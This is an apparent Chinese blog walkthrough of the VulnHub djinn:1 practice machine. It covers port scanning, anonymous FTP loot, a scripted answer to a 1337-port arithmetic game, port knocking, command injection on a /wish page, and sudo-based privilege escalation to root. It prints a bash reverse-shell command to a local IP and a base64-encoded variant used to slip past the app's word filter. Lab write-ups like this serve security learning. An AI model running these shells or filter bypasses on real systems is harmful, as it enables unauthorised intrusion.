当前位置: 首页 > news >正文

djinn:1 靶场学习小记

一、测试环境:

kail攻击机:Get Kali | Kali Linux

靶场镜像:https://download.vulnhub.com/djinn/djinn.ova

描述: 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分别存在于 user.txt 和 root.txt 中的两个标志(user 和 root)。

二、测试过程

1、端口扫描

靶机开机给出目标地址,使用nmap进行端口扫描,tcp和udp都扫一下,多扫两边

扫描已找到的端口服务版本信息等

nmap漏洞脚本扫描端口服务,没什么有效信息

2、服务漏洞查找

a、FTP服务匿名访问

尝试允许匿名访问,下载文件

查看文件,creds.txt中有一个nitu:81299,账号密码?先保留。

game.txt文件中提到1337端口有一个游戏,通过最后一关会有奖品,保留信息。

message.txt文件中提到@nitish81299,后面没啥用,和第一个文件中有重复,没明白。

b、1337端口数字游戏

先看看1337端口是个数字游戏,需要回答1000次才能通过(实际回答了1001次),自己不会写,用AI写了个python脚本跑一下。

python脚本如下:

import telnetlib
import re# 目标服务器的IP和端口
host = "192.168.229.151"
port = 1337# 建立Telnet连接
tn = telnetlib.Telnet(host, port)# 用于匹配运算表达式的正则表达式
pattern = re.compile(r'\((\d+), \'([+\-*/])\', (\d+)\)')count = 0
while count < 1002:data = tn.read_until(b'>').decode('utf-8')print(data)match = pattern.search(data)if match:num1 = int(match.group(1))operator = match.group(2)num2 = int(match.group(3))result = Noneif operator == '+':result = num1 + num2elif operator == '-':result = num1 - num2elif operator == '*':result = num1 * num2elif operator == '/':result = num1 // num2tn.write(f"{result}\n".encode('utf-8'))count += 1tn.close()

跑完发现三个数组,可能是端口号,尝试telnet发现不同通,网上看贴子博主说是knock:

端口敲门是一种通过按照特定顺序向服务器的一系列端口发送连接请求(通常是 TCP 或 UDP 数据包)来触发某种动作(如开放特定隐藏服务端口、允许访问等)的技术。其目的在于增加服务器安全性,让服务对于未按特定敲门序列进行访问尝试的外部连接保持隐匿状态,只有知道正确敲门序列的客户端才能最终获得所需服务的访问权限。

那就使用kali自带的knock工具敲一下端口,然后telnet 22果然通了,目前没账号密码,爆破也没用,先放着

c、7331端口WEB服务

端口扫描看到7331端口为http,访问到一个界面,没找到什么有效信息

对网站目录扫描

dirsearch目录扫描,默认没扫出来,使用dirbuster字典扫到两个路径

dirsearch -u http://192.168.229.151:7331 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

3、获取低权限shell

访问/wish页面,看到一个类似可执行的输入框,尝试能否执行命令

查看源码,存在命令执行,且有回显,可以尝试反弹shell

生成一个反弹shell,写入对话框,kali机监听8080端口,web页面执行反弹shell,查看源码发现回显报错“Wrong choice of words”,提示单词错误,可能有过滤,使用base64编码测试成功

原反弹shell:

bash -i >& /dev/tcp/192.168.229.152/8080 0>&1

base64编码后,做解码的反弹shell:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNTIvODA4MCAwPiYx|base64 -d |bash

获取shell之后要做的第一件事是获取一个tty,因为在执行有些命令发现提示“su: must be run from a terminal”

python获取tty

python -c 'import pty;pty.spawn("/bin/bash")'

发现当前目录下有两个文件夹,三个文件,寻找有效信息,打开app.py发现是做了过滤操作,且有一个/home/nitish/.dev/creds.txt文件也被过滤,先留着

找到一个user.txt,但是权限不够,没看到root.txt,估计只有root权限才能看到

那就再看看/home/nitish/.dev/creds.txt文件

似乎是一组账户密码,直接su过去试试,可以登录

切换当前用户目录,查看第一个flag

4、权限提升

使用sudo -l查看,发现sam用户执行genie命令不需要密码

查看genie命令使用方法,-h查看用法不全,使用man命令查看说明

发现共有五个选项可使用,-p "/bin/sh"没用

-cmd选项可以直接进入sam用户权限

再次使用sudo -l 命令查看有一个/root/lago命令,sudo -u root /root/lago需要sam密码,sudo /root/lago可以使用,进入四个选项都没找到有效信息

无果后,使用find查找可写入文件

find / -writable -type f 2>/dev/null

发现一个python编译后的文件,导出反编译查看代码发现回答第二个问题时输入变量名num,将执行/bin/sh

反编译结果:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7

from getpass import getuser
from os import system
from random import randint

def naughtyboi():
    print 'Working on it!! '


def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'


def readfiles():
    user = getuser()
    path = input('Enter the full of the file to read: ')
    print 'User %s is not allowed to read %s' % (user, path)


def options():
    print 'What do you want to do ?'
    print '1 - Be naughty'
    print '2 - Guess the number'
    print '3 - Read some damn files'
    print '4 - Work'
    choice = int(input('Enter your choice: '))
    return choice


def main(op):
    if op == 1:
        naughtyboi()
    elif op == 2:
        guessit()
    elif op == 3:
        readfiles()
    elif op == 4:
        print 'work your ass off!!'
    else:
        print 'Do something better with your life'

if __name__ == '__main__':
    main(options())
 

再次使用sudo /root/lago,进入第二个问题,输入num进入root权限,使用find查找root.txt没找到,进入root目录下看到proof.sh可执行文件,查看或者执行拿到最后的flag

http://www.lryc.cn/news/491299.html

相关文章:

  • kafka消费者组和分区数之间的关系是怎样的?
  • 【go】查询某个依赖是否存在于这个代理
  • 如何从postman中导出所有集合Collection
  • 在 Spring Boot 中实现多种方式登录(用户名、手机号、邮箱等)的不正经指南
  • .NET平台用C#添加动作到PDF文档
  • 大数据治理:概念、框架与实践应用
  • Vue.observable 全解析:Observable 是什么及使用场景剖析
  • MySQL基础知识大总结
  • 池化技术、Commons Pool介绍
  • 下载并安装Visual Studio 2017过程
  • 菊风视频能力平台开发服务正式入驻华为云云商店,成为华为云联营联运合作伙伴
  • springboot整合kafka
  • Python深度学习框架:PyTorch、Keras、Scikit-learn、TensorFlow如何使用?学会轻松玩转AI!
  • 【Linux】安装cuda
  • 为什么DDoS防御很贵?
  • 将WPS的PPT 无损的用微软的PowerPoint打开
  • 【汇编】uniapp开发
  • 详解Oracle表的类型(二)
  • Docker--通过Docker容器创建一个Web服务器
  • Next.js-样式处理
  • 整合Springboot shiro jpa mysql 实现权限管理系统(附源码地址)
  • 极智嘉嵌入式面试题及参考答案
  • 【MySQL】数据库核心技术与应用指南
  • 23省赛区块链应用与维护(房屋租凭)
  • 深度学习4
  • 跳绳视觉计数方案
  • TEA加密逆向
  • LeetCode 404.左叶子之和
  • 01-go入门
  • 【经典】抽奖系统(HTML,CSS、JS)